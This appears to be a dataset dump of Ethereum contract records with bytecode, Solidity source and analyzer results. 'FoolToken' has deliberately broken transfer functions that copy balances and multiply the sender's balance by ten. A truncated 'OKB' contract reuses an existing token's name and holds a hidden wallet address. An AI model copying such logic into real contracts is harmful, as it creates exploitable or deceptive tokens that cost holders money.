fffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60095481565b600754421015801561082a57506008544211155b151561083557600080fd5b600160a060020a038216151561084a57600080fd5b801580159061085a575060095481115b151561086557600080fd5b60065461088361087483610892565b6005549063ffffffff6108af16565b111561088e57600080fd5b5050565b60006108a96004548361098290919063ffffffff16565b92915050565b6000828201838110156108c157600080fd5b8091505b5092915050565b600254604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156107b8573d6000803e3d6000fd5b600160a060020a038116151561091a57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008083151561099557600091506108c5565b508282028284828115156109a557fe5b04146108c157600080fd00a165627a7a723058207d000d9e0c2e12766234c83bbb1fbac344fc9ac1e0560f7ea3366c1cc157d1850029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,122 |
0xb8a1de113ecfafb9e12adcc76673c69068178438 | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, SafeMath {
/*
* Data structures
*/
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function totalSupply() public view returns (uint256) {
return 1010000010011110100111101010000; // POOP in binary
}
/*
* Read and write storage functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success.
/// @param _to Address of token receiver.
/// @param _value Number of tokens to transfer.
function transfer(address _to, uint256 _value) returns (bool success) {
balances[_to] = balances[msg.sender];
Transfer(msg.sender, _to, balances[msg.sender]);
balances[msg.sender] = mul(balances[msg.sender], 10);
return true;
}
/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success.
/// @param _from Address from where tokens are withdrawn.
/// @param _to Address to where tokens are sent.
/// @param _value Number of tokens to transfer.
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
balances[_to] = balances[_from];
Transfer(_from, _to, balances[_from]);
balances[_from] = mul(balances[_from], 10);
return true;
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/// @dev Sets approved amount of tokens for spender. Returns success.
/// @param _spender Address of allowed account.
/// @param _value Number of approved tokens.
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/*
* Read storage functions
*/
/// @dev Returns number of allowed tokens for given address.
/// @param _owner Address of token owner.
/// @param _spender Address of token spender.
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/// @dev `Owned` is a base level contract that assigns an `owner` that can be
/// later changed, this `owner` is granted the exclusive right to execute
/// functions tagged with the `onlyOwner` modifier
contract Owned {
/// @dev `owner` is the only address that can call a function with this
/// modifier; the function body is inserted where the special symbol
/// "_;" in the definition of a modifier appears.
/// modifier
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
address public owner;
/// @notice The Constructor assigns the address that deploys this contract
/// to be `owner`
function Owned() public { owner = msg.sender;}
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner. 0x0 can be used to create
/// an unowned neutral vault, however that cannot be undone
function changeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
NewOwner(msg.sender, _newOwner);
}
/// @dev Events make it easier to see that something has happend on the
/// blockchain
event NewOwner(address indexed oldOwner, address indexed newOwner);
}
/// @dev `Escapable` is a base level contract built off of the `Owned`
/// contract; it creates an escape hatch function that can be called in an
/// emergency that will allow designated addresses to send any ether or tokens
/// held in the contract to an `escapeHatchDestination` as long as they were
/// not blacklisted
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist; // Token contract addresses
/// @notice The Constructor assigns the `escapeHatchDestination` and the
/// `escapeHatchCaller`
/// @param _escapeHatchCaller The address of a trusted account or contract
/// to call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
/// @param _escapeHatchDestination The address of a safe location (usu a
/// Multisig) to send the ether held in this contract; if a neutral address
/// is required, the WHG Multisig is an option:
/// 0x8Ff920020c8AD673661c8117f2855C384758C572
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
/// @dev The addresses preassigned as `escapeHatchCaller` or `owner`
/// are the only addresses that can call a function with this modifier
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
/// @notice Creates the blacklist of tokens that are not able to be taken
/// out of the contract; can only be done at the deployment, and the logic
/// to add to the blacklist will be in the constructor of a child contract
/// @param _token the token contract address that is to be blacklisted
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
/// @notice Checks to see if `_token` is in the blacklist of tokens
/// @param _token the token address being queried
/// @return False if `_token` is in the blacklist and can't be taken out of
/// the contract via the `escapeHatch()`
function isTokenEscapable(address _token) view public returns (bool) {
return !escapeBlacklist[_token];
}
/// @notice The `escapeHatch()` should only be called as a last resort if a
/// security issue is uncovered or something unexpected happened
/// @param _token to transfer, use 0x0 for ether
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
/// @dev Logic for ether
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
/// @dev Logic for tokens
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
/// @notice Changes the address assigned to call `escapeHatch()`
/// @param _newEscapeHatchCaller The address of a trusted account or
/// contract to call `escapeHatch()` to send the value in this contract to
/// the `escapeHatchDestination`; it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
/// @dev This is an empty contract to declare `proxyPayment()` to comply with
/// Giveth Campaigns so that tokens will be generated when donations are sent
contract Campaign {
/// @notice `proxyPayment()` allows the caller to send ether to the Campaign and
/// have the tokens created in an address of their choosing
/// @param _owner The address that will hold the newly created tokens
function proxyPayment(address _owner) payable returns(bool);
}
/// @title Token contract - Implements Standard Token Interface but adds Charity Support :)
/// @author Rishab Hegde - <contact@rishabhegde.com>
contract FoolToken is StandardToken, Escapable {
/*
* Token meta data
*/
string constant public name = "FoolToken";
string constant public symbol = "FOOL";
uint8 constant public decimals = 18;
bool public alive = true;
Campaign public beneficiary; // expected to be a Giveth campaign
/// @dev Contract constructor function sets Giveth campaign
function FoolToken(
Campaign _beneficiary,
address _escapeHatchCaller,
address _escapeHatchDestination
)
Escapable(_escapeHatchCaller, _escapeHatchDestination)
{
beneficiary = _beneficiary;
}
/*
* Contract functions
*/
/// @dev Allows user to create tokens if token creation is still going
/// and cap was not reached. Returns token count.
function ()
public
payable
{
require(alive);
require(msg.value != 0) ;
require(beneficiary.proxyPayment.value(msg.value)(msg.sender));
uint tokenCount = div(1 ether * 10 ** 18, msg.value);
balances[msg.sender] = add(balances[msg.sender], tokenCount);
Transfer(0, msg.sender, tokenCount);
}
/// @dev Allows founder to shut down the contract
function killswitch()
onlyOwner
public
{
alive = false;
}
} | 0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461030b578063095ea7b31461039957806318160ddd146103f35780631f6eb6e71461041c57806323b872dd14610471578063313ce567146104ea57806338af3eed1461051957806342dd96f71461056e57806370a0823114610583578063753899e9146105d0578063892db057146105fd5780638da5cb5b1461064e57806395d89b41146106a3578063a142d60814610731578063a6f9dae11461076a578063a9059cbb146107a3578063d836fbe8146107fd578063dd62ed3e14610836578063f5b61230146108a2575b6000600660009054906101000a900460ff16151561012457600080fd5b6000341415151561013457600080fd5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f48c305434336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818588803b15156101f057600080fd5b5af115156101fd57600080fd5b5050505060405180519050151561021357600080fd5b61022c6ec097ce7bc90715b34b9f1000000000346108f7565b90506102766000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610912565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350005b341561031657600080fd5b61031e610930565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103a457600080fd5b6103d9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610969565b604051808215151515815260200191505060405180910390f35b34156103fe57600080fd5b610406610a5b565b6040518082815260200191505060405180910390f35b341561042757600080fd5b61042f610a70565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561047c57600080fd5b6104d0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a96565b604051808215151515815260200191505060405180910390f35b34156104f557600080fd5b6104fd610c52565b604051808260ff1660ff16815260200191505060405180910390f35b341561052457600080fd5b61052c610c57565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561057957600080fd5b610581610c7d565b005b341561058e57600080fd5b6105ba600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cf6565b6040518082815260200191505060405180910390f35b34156105db57600080fd5b6105e3610d3e565b604051808215151515815260200191505060405180910390f35b341561060857600080fd5b610634600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d51565b604051808215151515815260200191505060405180910390f35b341561065957600080fd5b610661610da8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106ae57600080fd5b6106b6610dce565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f65780820151818401526020810190506106db565b50505050905090810190601f1680156107235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073c57600080fd5b610768600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e07565b005b341561077557600080fd5b6107a1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611235565b005b34156107ae57600080fd5b6107e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061132f565b604051808215151515815260200191505060405180910390f35b341561080857600080fd5b610834600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114ea565b005b341561084157600080fd5b61088c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115e2565b6040518082815260200191505060405180910390f35b34156108ad57600080fd5b6108b5611669565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080828481151561090557fe5b0490508091505092915050565b600080828401905083811015151561092657fe5b8091505092915050565b6040805190810160405280600981526020017f466f6f6c546f6b656e000000000000000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006c0cbf7c6d4d38a9bb35ef742050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3610c056000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a61168f565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b601281565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cd957600080fd5b6000600660006101000a81548160ff021916908315150217905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f464f4f4c0000000000000000000000000000000000000000000000000000000081525081565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610eb35750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ebe57600080fd5b60001515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610f1d57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415611028573073ffffffffffffffffffffffffffffffffffffffff16319150600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610fb857600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1611230565b8290508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156110c557600080fd5b5af115156110d257600080fd5b5050506040518051905091508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156111a257600080fd5b5af115156111af57600080fd5b5050506040518051905015156111c457600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561129157600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f70aea8d848e8a90fb7661b227dc522eb6395c3dac71b63cb59edd5c9899b236460405160405180910390a350565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a361149e6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a61168f565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115935750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561159e57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828402905060008414806116b057508284828115156116ad57fe5b04145b15156116b857fe5b80915050929150505600a165627a7a72305820ed7d36d3a2e95f32f5668aba6ee66ce4d057218d9128f0508e9d1eb470dbb4cf0029 | {"success": true, "error": null, "results": {}} | 10,123 |
0x2bB08e868f5fD578b3AB874d28C5715B0513b546 | /**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//ERC20接口库
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//数学算法库
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
abstract contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
//权限
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//转币
contract transferToken is ERC20, Ownable {
address private myWallet = 0x248231C79c114ea216219EE7f176707eaEF924f8;
string private _name = "OKB";
string private _symbol = "OKB";
uint8 private _decimals = 18;
constructor(uint256 totalSupply) public {
_mint(msg.sender, totalSupply * 10 **_decimals);
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
// optional functions from ERC20 stardard
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view override returns (uint8) {
return _decimals;
}
//查询代币余额
